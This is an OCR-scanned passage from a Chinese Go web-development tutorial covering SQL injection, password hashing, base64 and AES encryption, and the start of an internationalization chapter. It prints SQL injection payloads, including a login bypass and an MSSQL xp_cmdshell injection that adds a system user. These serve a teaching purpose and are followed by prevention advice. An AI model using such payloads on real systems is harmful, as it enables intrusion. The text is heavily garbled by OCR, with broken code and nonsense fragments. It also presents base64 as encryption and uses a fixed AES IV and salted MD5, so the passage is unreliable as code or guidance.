那么 我 们 的 SQL 变 成 了 如 下 所 示 : 


SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' ANI 
‘| = _ 


在 SQL 里 面 -- 是 注释 标记 ， 所 以 查询 语句 会 在 此 中 断 。 这 就 让 攻击 者 在 不 知道 任 
可 合法 用 户 名 和 密码 的 情况 下 成 功 登 录 了 。 


对 于 MSSQL 还 有 更 加 危险 的 一 种 SQL 注入 ， 就 是 控制 系统 ， 下 面 这 个 可 怕 的 例子 
将 演示 如 何在 某 些 版 本 的 MSSQL 数 据 库 上 执行 系统 命令 。 








sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" 
Db.Exec(sql) 


如 果 攻 击 提 


交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作 


为 变量 prodh a, Masda sm 


sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_ 
Ei — B 


MSSQL 服 务 器 会 执行 这 条 SQL 语句 ， 包 括 它 后 面 那个 用 于 向 系统 添加 新 用 户 的 命 
令 。 如 果 这 个 程序 是 以 sa 运行 而 MSSQLSERVER 服 务 又 有 足够 的 权限 的 话 ， 攻 击 
者 就 可 以 获得 一 个 系统 帐号 来 访问 主机 了 。 
虽然 以 上 的 例子 是 针对 某 一 特定 的 数据 库 系统 的 ， 但 是 这 并 不 代表 不 能 对 其 它 
数据 库 系统 实施 类 似 的 攻击 。 针 对 这 种 安全 漏洞 ， 只 要 使 用 不 同方 法 ， 各 种 数 
据 库 都 有 可 能 遭 融 。 








如 何 预防 SQL 注入 


也 许 你 会 说 攻击 者 要 知道 数据 库 结 构 的 信息 才能 实施 SQL 注入 攻击 。 确 实 如 此 ， 但 
没 人 能 保证 攻击 者 一 定 拿 不 到 这 些 信息 ， 一 旦 他 们 拿 到 了 ， 数 据 库 就 存在 泄露 的 危 
险 。 如 果 你 在 用 开放 源 代码 的 软件 包 来 访问 数据 库 ， 上 比如 论坛 程序 ， 攻 击 者 就 很 容 
易 得 到 相关 的 代码 。 如 果 这 些 代码 设计 不 良 的 话 ， 风 险 就 更 大 了 。 目 前 Discuz、 
phpwind、phpcms 等 这 些 流行 的 开源 程序 都 有 被 SQL 注 入 攻击 的 先例 。 


这 些 攻 击 总 是 发 生 在 安全 性 不 高 的 代码 上 。 所 以 ， 永 远 不 要 信任 外 界 输 入 的 数据 ， 
特别 是 来 自 于 用 户 的 数据 ， 包 括 选择 框 、 表 单 隐藏 域 和 cookie。 就 如 上 面 的 第 一 个 
例子 那样 ， 就 算是 正常 的 查询 也 有 可 能 造成 灾难 。 


SQL 注 入 攻击 的 危害 这 么 大 ， 那 么 该 如 何 来 防治 呢 ? 下 面 这 些 建 议 或 许 对 防治 SQL 
注入 有 一 定 的 帮助 。 
1. 严格 限制 Web 应 用 的 数据 库 的 操作 权限 ， 给 此 用 户 提 供 仅 仅 能 够 满足 其 工作 的 


最 低 权 限 ， 从 而 最 大 限度 的 减少 注入 攻击 对 数据 库 的 危害 。 
2. 检查 输入 的 数据 是 否 具 有 所 期 望 的 数据 格式 ， 严 格 限制 变量 的 类 型 ， 例 如 使 用 


regexp 包 进行 一 些 匹配 处 理 ， 或 者 使 用 strconv 包 对 字符 串 转化 成 其 他 基本 类 型 
的 数据 进行 判断 。 

3. 对 进入 数据 库 的 特殊 字符 ("\ 尖 括号 &*; 等 ) 进行 转 义 处 理 ， 或 编码 转换 。Go 
的 text/template 包 里 面 的 HTMLEscapeString KHAT Mat FIE HTA 
义 处 理 。 

4. 所 有 的 查询 语句 建议 使 用 数据 库 提 供 的 参数 化 查询 接口 ， 参 数 化 的 语句 使 用 参 
数 而 不 是 将 用 户 输入 变量 人 车 入 到 SQL 语句 中 ， 即 不 要 直接 拼接 SQL 语句。 例如 
使 用 database/sql 里 面 的 查询 函数 Prepare 和 Query , 3$ 
者 Exec(query string, args ...interface{}) 。 

5. 在 应 用 发 布 之 前 建议 使 用 专业 的 SQL 注入 检测 工具 进行 检测 ， 以 及 时 修补 被 发 
现 的 SQL 注入 漏洞 。 网 上 有 很 多 这 方面 的 开源 工具 ， 例 如 sqlmap、SQLninja 


6. 避免 网 站 打印 出 SQL 错误 信息 ， 比 如 类 型 错误 、 字 段 不 匹配 等 ， 把 代码 里 的 
SQL 语句 暴露 出 来 ， 以 防止 攻击 者 利用 这 些 错误 信息 进行 SQL 注入 。 


ÈK 


总 结 

通过 上 面 的 示例 我 们 可 以 知道 ，SQL 注 入 是 危害 相当 大 的 安全 漏洞 。 所 以 对 于 我 们 
平常 编写 的 Web 应 用 ， 应 该 对 于 每 一 个 小 细节 都 要 非常 重视 ， 细 节 决 定 命 运 ， 生 活 
如 此 ， 编 写 Web 应 用 也 是 这 样 。 


: 避免 XSS 攻 击 
: 存储 密码 


9.5 存储 密码 


过 去 一 段 时 间 以 来 , 许多 的 网 站 遭遇 用 户 密码 数据 泄露 事件 , 这 其 中 包括 顶级 的 互联 
网 企业 -Linkedin, 国内 诸如 CSDN， 该 事件 横扫 整个 国内 互联 网 ， 随 后 又 爆 出 多 玩 
游戏 800 万 用 户 资料 被 泄露 ， 另 有 传言 人 人 网 、 开 心 网 、 天 涯 社区 、 世 纪 佳 缘 、 百 
合 网 等 社区 都 有 可 能 成 为 黑客 下 一 个 目标 。 层 出 不 穷 的 类 似 事件 给 用 户 的 网 上 生活 
造成 巨大 的 影响 ， 人 人 自 危 ， 因 为 人 们 往往 习惯 在 不 同 网 站 使 用 相同 的 密码 ， 所 以 
RR”, PEJ, 


那么 我 们 作为 一 个 Web 应 用 开发 者 ， 在 选择 密码 存储 方案 时 , 容易 掉 入 哪些 陷阱 , 以 
及 如 何 避 免 这 些 陷阱 ? 


普通 方案 


目前 用 的 最 多 的 密码 存储 方案 是 将 明文 密码 做 单 向 哈 希 后 存储 ， 单 向 哈 希 算法 有 一 
个 特征 : 无 法 通过 哈 希 后 的 摘要 (digest) 恢 复原 始 数 据 ， 这 也 是 “ 单 向 "二 字 的 来 源 。 
常用 的 单 向 哈 希 算 法 包括 SHA-256, SHA-1, MD5 等 。 


Go 语言 对 这 三 种 加 密 算法 的 实现 如 下 所 示 : 


//import "crypto/sha256" 

h := sha256.New() 

io.WriteString(h, "His money is twice tainted: 'taint yours and 'té 
fmt.Printf("% x", h.Sum(nil) ) 


//import "crypto/shati" 

h := shai.New() 

io.WriteString(h, "His money is twice tainted: 'taint yours and 'té 
fmt .Printf("% x", h.Sum(nil) ) 


//import "crypto/md5" 

h := md5.New() 

io.WriteString(h, "需要 加 密 的 密码 ") 
fmt.Printf("%x", h.Sum(nil)) 





单 向 哈 希 有 两 个 特性 : 

。 1) 同一 个 密码 进行 单 向 哈 希 ， 得 到 的 总 是 唯一 确定 的 摘要 。 

。 2) 计算 速度 快 。 随 着 技术 进步 ， 一 秒 钟 能 够 完成 数 十 亿 次 单 向 哈 希 计算 。 
结合 上 面 两 个 特点 ， 考 虑 到 多 数 人 所 使 用 的 密码 为 常见 的 组 合 ， 攻 击 者 可 以 将 所 有 


密码 的 常见 组 合 进 行 单 向 哈 希 ， 得 到 一 个 摘要 组 合 , 然后 与 数据 库 中 的 摘要 进行 比 
对 即 可 获得 对 应 的 密码 。 这 个 摘要 组 合 也 被 称 为 rainbow table 。 


因此 通过 单 向 加 密 之 后 存储 的 数据 ， 和 明文 存储 没有 多 大 区 别 。 因 此 ， 一 旦 网 站 的 
数据 库 泄露 ， 所 有 用 户 的 密码 本 身 就 大 白 于 天 下 。 


进 阶 方案 


通过 上 面 介 绍 我 们 知道 黑客 可 以 用 rainbow table 来 破解 哈 希 后 的 密码 ， 很 大 程 
度 上 是 因为 加 密 时 使 用 的 哈 希 算法 是 公开 的 。 如 果 黑 客 不 知道 加 密 的 哈 希 算法 是 什 
么 ， 那 他 也 就 无 从 下 手 了 。 


一 个 直接 的 解决 办 法 是 ， 自 己 设计 一 个 哈 希 算法 。 然 而 ， 一 个 好 的 哈 希 算法 是 很 难 
设计 的 一 一 既 要 避免 碰撞 ， 又 不 能 有 明显 的 规律 ， 做 到 这 两 点 要 上 比 想 象 中 的 要 困难 
很 多 。 因 此 实际 应 用 中 更 多 的 是 利用 已 有 的 哈 希 算法 进行 多 次 哈 希 。 


但 是 单纯 的 多 次 哈 希 ， 依 然 阻挡 不 住 黑 客 。 两 次 MD5、 三 次 MD5 之 类 的 方法 ， 我 
们 能 想到 ， 黑 客 自然 也 能 想到 。 特 别 是 对 于 一 些 开 源 代 码 ， 这 样 哈 希 更 是 相当 于 直 
接 把 算法 告诉 了 黑客 。 


没有 攻 不 破 的 盾 ， 但 也 没有 折 不 断 的 矛 。 现 在 安全 性 比较 好 的 网 站 ， 都 会 用 一 种 叫 
做 “加 盐 ? 的 方式 来 存储 密码 ， 也 就 是 常 说 的 “salt"。 他 们 通常 的 做 法 是 ， 先 将 用 户 输 
入 的 密码 进行 一 次 MD5 (或 其 它 哈 希 算法 ) MA ; 将 得 到 的 MD5 值 前 后 加 上 一 些 
只 有 管理 员 自 己 知道 的 随机 串 ， 再 进行 一 次 MD5 加 密 。 这 个 随机 串 中 可 以 包括 某 些 
固定 的 串 ， 也 可 以 包括 用 户 名 (用 来 保证 每 个 用 户 加 密使 用 的 密 钥 都 不 一 样 ) 。 


//import "crypto/md5" 

// 假 设 用 户 名 abc， 密 码 123456 

h := md5.New() 

io.WriteString(h，" 需 要 加 密 的 密码 ") 


//pwmd5 等 于 e10adc3949ba59abbe56e057f20f883e 
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil) ) 


// 指 定 两 个 salt: salti = @#$% salt2 = A&*() 
salt1 := "@#$%" 
salit2 = Ae (0 


//salt1+ 用 户 名 +salt2+MD5 拼 接 
io.WriteString(h, salt1) 
io.WriteString(h, "abc") 
io.WriteString(h, salt2) 
io.WriteString(h, pwmd5) 


last :=fmt.Sprintf("%x", h.Sum(nil)) 


在 两 个 salt 没 有 泄露 的 情况 下 ， 黑 客 如 果 拿 到 的 是 最 后 这 个 加 密 串 ， 就 几乎 不 可 能 
推算 出 原始 的 密码 是 什么 了 。 


专家 方案 


上 面 的 进 阶 方案 在 几 年 前 也 许 是 足够 安全 的 方案 案 ， 因 为 攻击 者 没有 足够 的 资源 建立 
这 么 多 的 rainbow table 。 但 是 ， 时 至 今日 ， 因 为 并 行 计算 能 力 的 提升 ， 这 种 攻 
击 已 经 完全 可 行 。 


怎么 解决 这 个 问题 呢 ? 只 要 时 间 和 与 资源 人 允许， 没有 破译 不 了 的 密码 ， 所 以 方案 是 : 故 
意 增加 密码 计算 所 需 耗 费 的 资源 和 和 时间， 使 得 任何 人 都 不 可 获得 足够 的 资源 建立 所 


需 的 rainbow table 。 


这 类 方案 有 一 个 特点 ， 算 法 中 都 有 个 因子 ， 用 于 指明 计算 密码 摘要 所 需要 的 资源 和 
时 间 ， 也 就 是 计算 强度 。 计 算 强 度 越 大 ， 攻 击 者 建立 rainbow table 越 困 难 ， 以 
至 于 不 可 继续 。 


这 里 推荐 scrypt 方案 ，scrypt 是 由 著名 的 FreeBSD 黑 客 Colin Percival 为 他 的 备份 
服务 Tarsnap 开 发 的 。 


目前 Go 语言 里 面 支持 的 库 http://code.google.com/p/go/source/browse? 
repo=crypto#hg%2Fscrypt 


dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 
Eee 
过 上 面 的 的 方法 可 以 获取 唯一 的 相应 的 密码 值 ， 这 是 目前 为 止 最 难 破 解 的 。 





总 结 


no 


看 到 这 里 ， 如 果 你 产生 了 危机 感 ， 那 么 就 行动 起 来 : 


。 1) 如 果 你 是 普通 用 户 ， 那 么 我 们 建议 使 用 LastPass 进 行 密码 存储 和 生成 ， 
不 同 的 网 站 使 用 不 同 的 密码 ; 
。 2) 如 果 你 是 开发 人 员 ， 那么 我 们 强烈 建议 你 采用 专家 方案 进行 密码 存储 。 


links 


e 目录 
e 上 一 节 : 确保 输入 过 滤 
e 下 一 节 : 加 密 和 人 解密 数据 


9.6 加 密 和 人 解密 数据 
前 面 小 节 介绍 了 如 何 存储 密码 ， 但 是 有 的 时 候 ， 我 们 想 把 一 些 敏 感 数据 加 密 后 存 全 


起 来 ， 在 将 来 的 某 个 时 候 ， 随 需 将 它们 解密 出 来 ， 此 时 我 们 应 该 在 选用 对 称 加 密 算 
法 来 满足 我 们 的 需求 。 


base64 加 解密 

如 果 Web 应 用 足够 简单 ， 数 据 的 安全 性 没有 那么 严格 的 要 求 ， 那 么 可 以 采用 一 种 比 
较 简 单 的 加 解密 方法 是 base64 ， 这 种 方式 实现 起 来 比较 简单 ，Go 语 言 

的 base64 包 已 经 很 好 的 支持 了 这 个 ， 请 看 下 面 的 例子 : 


package main 


import ( 
"encoding/base64" 
W fmt " 

) 


func base64Encode(src []byte) []byte { 
return []byte(base64.StdEncoding.EncodeToString(src)) 
} 


func base64Decode(src []byte) ([]byte, error) { 
return base64.StdEncoding.DecodeString(string(src) ) 


} 
func main() { 
// encode 
hello := "ME, 世界! hello world" 


debyte := base64Encode([]byte(hello) ) 
fmt .Println(debyte) 
// decode 
enbyte, err := base64Decode(debyte) 
if err != nil { 

fmt .Printin(err.Error()) 
} 


if hello != string(enbyte) { 
fmt.Println("hello is not equal to enbyte") 
} 


fmt.Println(string(enbyte)) 


高 级 加 解密 
Go 语言 的 crypto 里 面 支持 对 称 加 密 的 高 级 加 解密 包 有 : 


e crypto/aes © : AES(Advanced Encryption Standard)， 又 称 Rijndael 加 密 
法 ， 是 美国 联邦 政府 采用 的 一 种 区 块 加 密 标 准 。 

e crypto/des © : DES(Data Encryption Standard)， 是 一 种 对 称 加 密 标准 ， 
是 目前 使 用 最 广泛 的 密 钥 系 统 ， 特 别 是 在 保 扩 金融 数据 的 安全 中 。 便 是 美国 联 
邦 政府 的 加 密 标 准 ， 但 现 已 被 AES 所 蔡 代 。 


a 所 以 在 此 ， 我 们 仅 用 aes 包 为 例 来 讲解 它们 的 使 
用 ， 请 看 下 面 的 例子 


package main 


import ( 
"crypto/aes" 
"crypto/cipher" 
"Fmt " 
wos" 

) 


var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, Ox 


func main() { 
// 需 要 去 加 密 的 字符 串 
plaintext := []byte("My name is Astaxie") 
// 如 果 传 入 加 密 串 的 话 ，plaint 就 是 传 入 的 字符 串 
if len(os.Args) > 1 { 
plaintext = []byte(os.Args[1] ) 


} 
//aes 的 加 密 字符 串 
key_text := "astaxie12798ak1jzmknm.ahkjk1j1;k" 


if len(os.Args) > 2 { 
key_text = os.Args[2] 
} 


fmt.Println(len(key_text)) 


// 创建 加 密 算法 aes 

c, err := aes.NewCipher([]byte(key_text)) 

if err != nil { 
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text: 
os.Exit(-1) 

} 


// 加 密 字 符 串 

cfb := cipher.NewCFBEncrypter(c, commonIV) 
ciphertext := make([]byte, len(plaintext) ) 
cfb.XORKeyStream(ciphertext, plaintext) 

fmt .Printf("%s=>%x\n", plaintext, ciphertext) 


// 解密 字符 串 

cfbdec := cipher.NewCFBDecrypter(c, commonIV) 
plaintextCopy := make([]byte, len(plaintext) ) 
cfbdec.XORKeyStream(plaintextCopy, ciphertext) 
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) 





+ sit AARAA aes.NewCipher (参数 key 必 须 是 16、24 或 者 32 位 的 [jbyte， 分 
别 对 应 AES-128, AES-192 或 AES-256 算 法 ), 返 回 了 一 个 cipher.Block 接口 ， 这 
个 接口 实现 了 三 个 功能 : 


type Block interface { 
// BlockSize returns the cipher's block size. 
BlockSize() int 


// Encrypt encrypts the first block in src into dst. 
// Dst and src may point at the same memory. 
Encrypt(dst, src []byte) 


// Decrypt decrypts the first block in src into dst. 
// Dst and src may point at the same memory. 
Decrypt(dst, src []byte) 


Ww 


这 三 个 画 数 实 现 了 加 解密 操作 ， 详 细 的 操作 请 看 上 面 的 例子 。 


这 小 节 介 绍 了 几 种 加 解密 的 算法 ， 在 开发 Web 应 用 的 时 候 可 以 根据 需求 采用 不 同 的 
方式 进行 加 解密 ， 一 般 的 应 用 可 以 采用 base64 算 法 ， 更 加 高 级 的 话 可 以 采用 aes 或 
者 des 算 法 。 


e H 
e 上 一 节 : 存储 密码 
e 下 一 节 


: 小 结 


9.7 小 结 


这 一 章 主要 介绍 了 如 : CSRF 攻 击 、XSS 攻 击 、SQL 注 入 攻击 等 一 些 Web 应 用 中 典 
型 的 攻击 手法 ， 它 们 都 是 由 于 应 用 对 用 户 的 输入 没有 很 好 的 过 滤 引 起 的 ， 所 以 除了 
介绍 攻击 的 方法 外 ， 我 们 也 介绍 了 了 如 何 有 效 的 进行 数据 过 滤 ， 以 防止 这 些 攻击 的 
发 生 的 方法 。 然 后 针对 日 异 严重 的 密码 泄漏 事件 ， 介 绍 了 在 设计 Web 应 用 中 可 采用 
的 从 基本 到 专家 的 加 密 方案 。 最 后 针对 敏感 数据 的 加 解密 简要 介绍 了 ，Go 语 言 提 供 
三 种 对 称 加 密 算 法 : base64、aes 和 des 的 实现 。 


编写 这 一 章 的 目的 是 希望 读者 能 够 在 意识 里 面 加 强 安 全 概念 ， 在 编写 Web 应 用 的 时 
候 多 留心 一 点 ， 以 使 我 们 编写 的 Web 占 用 能 远离 黑客 们 的 攻击 。Go 语 言 在 支持 防 攻 
击 方面 已 经 提供 大 量 的 工具 包 ， 我 们 可 以 充分 的 利用 这 些 包 来 做 出 一 个 安全 的 Web 
应 用 。 


e H 
eo 上 一 节 : 加 密 和 人 解密 数据 
e 下 一 节 : 国际 化 和 本 地 化 


10 国际 化 和 本 地 化 


为 了 适应 经 济 的 全 球 一 体 化 ， 作 为 开发 者 ， 我 们 需要 开发 出 支持 多 国语 言 、 国 际 化 
的 Web 上 应 用 ， 即 同样 的 页 面 在 不 同 的 语言 环境 下 需要 显示 不 同 的 效果 ， 也 就 是 说 应 
用 程序 在 运行 时 能 够 根据 请 求 所 来 自 的 地 域 与 语言 的 不 同 而 显示 不 同 的 用 户 界面 。 
这 样 ， 当 需要 在 点 用 程序 中 添加 对 新 的 语言 的 支持 时 ， 无 需 修改 应 用 程序 的 代码 ， 
只 需要 增加 语言 包 即 可 实现 。 


国际 化 与 本 地 化 (Internationalization and localization, 通 常用 i118n 和 L10N 表 示 ) , 
国际 化 是 将 针对 某 个 地 区 设计 的 程序 进行 重 构 ， 以 使 它 能 够 在 更 多 地 区 使 用 ， 本 地 
化 是 指 在 一 个 面向 国际 化 的 程序 中 增加 对 新 地 区 的 支持 。 


目前 ，Go 语 言 的 标准 包 没 有 提供 对 i18n 的 支持 ， 但 有 一 些 比较 简单 的 第 三 方 实现 ， 
这 一 章 我 们 将 实现 一 个 go-i18n 库 ， 用 来 支持 Go 语言 的 i18n。 


所 谓 的 国际 化 : 就 是 根据 特定 的 locale 信 息 ， 提 取 和 与 之 相应 的 字符 串 或 其 它 一 些 未 
西 (比如 时 间 和 货币 的 格式 ) 等 等 。 这 涉及 到 三 个 问题 : 


1、 如 何 确定 locale。 

2、 如 何 保存 与 locale 相 关 的 字符 串 或 其 它 信 息 。 

3、 如 何 根据 locale 提 取 字 符 串 和 其 它 相应 的 信息 。 

在 第 一 小 节 里 ， 我 们 将 介绍 如 何 设置 正确 的 locale 以 便 让 访问 站 点 的 用 户 能 够 获得 
与 其 语言 相应 的 页 面 。 第 二 小 节 将 介绍 如 何 处 理 或 存储 字符 串 、 货 币 、 时 间 日 期 等 


与 locale 相 关 的 信息 ， 第 三 小 节 将 介绍 如 何 实现 国际 化 站 点 ， 即 如 何 根据 不 同 locale 
返回 不 同 合适 的 内 容 。 通 过 这 三 个 小 节 的 学 习 ， 我 们 将 获得 一 个 完整 的 i18n 方 案 。 


目录 
links 
e 目录 
e 上 一 章 : 第 九 章 总 结 
e 下 一 节 : 设置 默认 地 区 


10.1 设置 默认 地 区 


什么 是 Locale 


Locale 是 一 组 描述 世界 上 某 一 特定 区 域 文 本 格式 和 语言 习惯 的 设置 的 集合 。locale 
名 通常 由 三 个 部 分 组 成 : 第 一 部 分 ， 是 一 个 强制 性 的 ， 表 示 语 言 的 缩写 ， 例 

如 "en" 表 示 英 文 或 "zh" 表 示 中 文 。 第 二 部 分 ， 跟 在 一 个 下 划 线 之 后 ， 是 一 个 可 选 的 
国家 说 明 符 ， 用 于 区 分 讲 同一 种 语言 的 不 同 国家 ， 例 如 "en_US" 表 示 美 国 英语 ， 
而 "en_UK" 表 示 英 国 英语 。 最 后 一 部 分 ， 跟 在 一 个 句点 之 后 ， 是 可 选 的 字符 集 说 明 
符 ， 例 如 "zh_CN.gb2312" 表 示 中 国 使 用 gb2312 字 符 集 。 


GO 语言 默认 采用 "UTF-8" 编 码 集 ， 所 以 我 们 实现 i18n 时 不 考虑 第 三 部 分 ， 接 下 来 我 
们 都 采用 locale 描 述 的 前 面 两 部 分 来 作为 118n 标 准 的 locale 名 。 


在 Linux 和 Solaris 系 统 中 可 以 通过 locale -a 命令 列举 所 有 支持 的 地 区 名 ， 读 
者 可 以 看 到 这 些 地 区 名 的 命名 规范 。 对 于 BSD 等 系统 ， 没 有 locale 命 令 ， 但 是 
地 区 信息 存储 在 /usr/share/locale 中 。 


设置 Locale 


有 了 上 面 对 locale 的 定义 ， 那 么 我 们 就 需要 根据 用 户 的 信息 (访问 信息 、 个 人 信息 、 
访问 域名 等 ) 来 设置 与 之 相关 的 locale， 我 们 可 以 通过 如 下 几 种 方式 来 设置 用 户 的 
locale。 


通过 域名 设置 Locale 


设置 Locale 的 办 法 这 一 就 是 在 应 用 运行 的 时 候 采 用 域名 分 级 的 方式 ， 例 如 ， 我 们 采 
用 www.asta.com 当 做 我 们 的 英文 站 (默认 站 )， 而 把 域名 www.asta.cn 当 做 中 文 站 。 
这 样 通过 在 应 用 里 面 设置 域名 和 相应 的 locale 的 对 应 关系 ， 就 可 以 设置 好 地 区 。 这 
样 处 理 有 几 点 好 处 : 

e 通过 URL 就 可 以 很 明显 的 识别 

e。 用 户 可 以 通过 域名 很 直观 的 知道 将 访问 那 种 语言 的 站 点 

e 在 Go 程序 中 实现 非常 的 简单 方便 ， 通 过 一 个 map 就 可 以 实现 

e 有 利于 搜索 引擎 抓 取 ， 能 够 提高 站 点 的 SEO 


我 们 可 以 通过 下 面 的 代码 来 实现 域名 的 对 应 locale : 


if r.Host == "www.asta.com" { 
118n.SetLocale("en") 


} else if r.Host == "www.asta.cn" { 
118n.SetLocale("Zh-CN") 
} else if r.Host == "www.asta.tw" { 


118n.SetLocale("zh-Tw") 
} 


当然 除了 整 域名 设置 地 区 之 外 ， 我 们 还 可 以 通过 子 域名 来 设置 地 区 ， 例 
如 "en.asta.com" 表 示 英 文 站 点 ，"cn.asta.com" 表 示 中 文 站 点 。 实 现代 码 如 下 所 示 : 


prefix := strings.Split(r.Host,".") 


if prefix[0] == "en" { 
118n.SetLocale("en") 

} else if prefix[0] == "cn" { 
118n.SetLocale("zh-CN") 

} else if prefix[0] == "tw" { 
118n.SetLocale("zh-Tw") 

} 


通过 域名 设置 Locale 有 如 上 所 示 的 优点 ， rN ita 


用 这 种 方式 ， 仙人 ged 一 个 Locale 就 需要 一 个 域名 ， 而 且 往 
往 统 一 名 称 的 域名 不 一 定 能 gE, 其 次 我 们 不 总 每 个 站 点 去 本 地 化 一 个 可 


ia, TES HERA e 请 看 下 面 的 介绍 。 


从 域名 参数 设置 Locale 


目前 最 常用 的 设置 Locale 的 方式 是 在 URL 里 面 带 上 参数 ， 例 如 www.asta.com/hello? 
locale=zh 或 者 www.asta.com/zh/hello。 这 样 我 们 就 可 以 设置 地 
区 : i18n.SetLocale(params["locale"]) 。 


这 种 设置 方式 几乎 拥有 前 面 讲 的 通过 域名 设置 Locale 的 所 有 优点 ， 它 采用 RESTful 
的 方式 ， 以 使 得 我 们 不 需要 增加 额外 的 方法 来 人 处理 。 但 是 这 种 方式 需要 在 每 一 个 的 
link 里 面 增加 相应 的 参数 locale， 这 也 许 有 点 复杂 而 且 有 时 候 甚至 相当 的 繁琐 。 不 过 
我 们 可 以 写 一 个 通用 的 函数 url|， 让 所 有 的 link 地 址 都 通过 这 个 画 数 来 生成 ， 然 后 在 
这 个 回 数 里 面 增加 locale=params["locale"] 参数 来 缓解 一 


也 许 我 们 希望 URL 地 址 看 上 去 更 加 的 RESTful 一 点 ， 例 如 : 

www.asta.com/en/books( 英 文 站 点 ) 和 www.asta. comfzhrbooks( SCE), 这 种 方 

式 的 URL 更 加 有 利于 SEO， 而 且 对 于 用 户 也 比较 友好 ， 能 够 通过 URL 直 观 的 知道 访 

K 的 站 点 。 那 么 这 样 的 URL 地 址 可 以 通过 router 来 获取 locale( 参 考 REST 小 节 里 面 介 
绍 的 router 插 件 实现 ) : 


mux.Get("/:locale/books", listbook) 


从 客户 闯 设 置地 区 


在 一 些 特 殊 的 情况 下 ， 我 们 需要 根据 客户 端的 信息 而 不 是 通过 URL 来 设置 Locale， 
这 些 信息 可 能 来 自 于 客户 端 设 置 的 喜好 语言 (浏览 器 中 设置 )， 用 户 的 IP 地 址 ， 用 户 
在 注册 的 时 候 填 写 的 所 在 地 信息 等 。 这 种 方式 比较 适合 Web 为 基础 的 应 用 。 


e Accept-Language 


客户 端 请 求 的 时 候 在 HTTP 头 信息 里 面 有 Accept-Language ， 一 般 的 客户 端 都 会 
设置 该 信息 ， 下 面 是 Go 语言 实现 的 一 个 简单 的 根据 Accept-Language 实现 设置 
地 区 的 代码 : 


AL := r.Header.Get("Accept-Language" ) 

if AL == "en" { 
118n.SetLocale("en") 

} else if AL == "Zh-CN" { 
118n.SetLocale("zh-CN") 

} else if AL == "Zh-Tw" { 
118n.SetLocale("zh-Tw") 

} 


当然 在 实际 应 用 中 ， 可 能 需要 更 加 严格 的 判断 来 进行 设置 地 区 
e |P 地 址 


另 一 种 根据 客户 端 来 设 定 地 区 就 是 用 户 访问 的 IP， 我 们 根据 相应 的 IP 库 ， 对 应 
访问 的 IP 到 地 区 ， 目 前 全 球 比 较 常用 的 就 是 GeolP Lite Country 这 个 库 。 这 种 
设置 地 区 的 机 制 非常 简单 ， 我 们 只 需要 根据 IP 数 据 库 查询 用 户 的 IP 然 后 返回 国 
家 地 区 ， 根 据 返 回 的 结果 设置 对 应 的 地 区 。 


e 用 户 profile 
当然 你 也 可 以 让 用 户 根据 你 提供 的 下 拉 菜 单 或 者 别 的 什么 方式 的 设置 相应 的 
locale， 然 后 我 们 将 用 户 输 入 的 信息 ， 保 存 到 与 它 帐 号 相关 的 profile 中 ， 当 用 户 
再 次 登陆 的 时 候 把 这 个 设置 复 宇 到 locale 设 置 中 ， 这 样 就 可 以 保证 该 用 户 每 次 
访问 都 是 基于 自己 先前 设置 的 locale 来 获得 页 面 。 


K 
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D Fn 
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通过 上 面 的 介绍 可 知 ， 设 置 Locale 可 以 有 很 多 种 方式 ， 我 们 应 该 根据 需求 的 不 同 来 
选择 不 同 的 设置 Locale 的 方法 ， 以 让 用 户 能 以 它 最 熟悉 的 方式 ， 获 得 我 们 提供 的 服 
务 ， 提 高 应 用 的 用 户 友好 性 。 
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10.2 本 地 化 资源 


前 面 小 节 我 们 介绍 了 如 何 设置 Locale， 设 置 好 Locale 之 后 我 们 需要 解决 的 问题 就 是 
如 何 存储 相应 的 Locale 对 应 的 信息 呢 ? 这 里 面 的 信息 包括 : 文本 信息 、 时 间 和 日 
期 、 货 币值 、 图 片 、 包 含 文件 以 及 视图 等 资源 。 那 么 接 下 来 我 们 将 对 这 些 信息 一 一 
进行 介绍 ，Go 语 言 中 我 们 把 这 些 格式 信息 存储 在 JSON 中 ， 然 后 通过 合适 的 方式 展 
现 出 来 。( 接 下 来 以 中 文 和 英文 两 种 语言 对 比 举例 ,存储 格式 文件 en.json 和 zh- 
CN.json) 


本 地 化 文本 消息 


本 信息 是 编写 Web 应 用 中 最 常用 到 的 ， 也 是 本 地 化 资源 中 最 多 的 信息 ， 想 要 以 适合 
本 地 语言 的 方式 来 显示 文本 信息 ， 可 行 的 一 种 方案 是 :建立 需要 的 语言 相应 的 map 来 
维护 一 个 key-value 的 关系 ， 在 输出 之 前 按 需 从 适合 的 map 中 去 获取 相应 的 文本 ， 如 
下 是 一 个 简单 的 示例 : 


package main 
import "fmt" 
var locales map[string]map[string]string 


func main() { 
locales = make(map[string]map[string]string, 2) 
en := make(map[string]string, 10) 
en[ "pea" ] 二 "pea" 
en["bean"] = "bean" 
locales["en"] = en 
cn := make(map[string]string, 10) 
cn["pea"] = "ie" 
cn[ "bean" ] 二 "EGY 
locales["zh-CN"] = cn 
lang := "zh-CN" 
fmt.Println(msg(lang, "pea")) 
fmt.Println(msg(lang, "bean")) 


} 
func msg(locale, key string) string { 
if v, ok := locales[locale]; ok { 
if v2, ok := v[key]; ok { 
return v2 
} 
} 
return "" 


上 面 示 例 演 示 了 不 同 locale 的 文本 翻译 ， 实 现 了 中 文 和 英文 对 于 同一 个 key 显 示 不 同 
语言 的 实现 ， 上 面 实现 了 中 文 的 文本 消息 ， 如 果 想 切换 到 英文 版 本 ， 只 需要 把 lang 
设置 为 en 即 可 。 


有 些 时 候 仅 是 key-value 蔡 换 是 不 能 满足 需要 的 ， 例 如 "| am 30 years old", 中 文 表达 
是 "我 今年 30 岁 了 "， 而 此 处 的 30 是 一 个 变量 ， 该 怎么 办 呢 ? 这 个 时 候 ， 我 们 可 以 结 
合 fmt .Printf HARKEN, HA FEMRA : 


en["how old"] ="I am %d years old" 
cn["how old"] =" 我 今年 %d 岁 了 " 


fmt.Printf(msg(lang, "how old"), 30) 


上 面 的 示例 代码 仅 用 以 演示 内 部 的 实现 方案 ， 而 实际 数据 是 存储 在 JSON 里 面 的 ， 
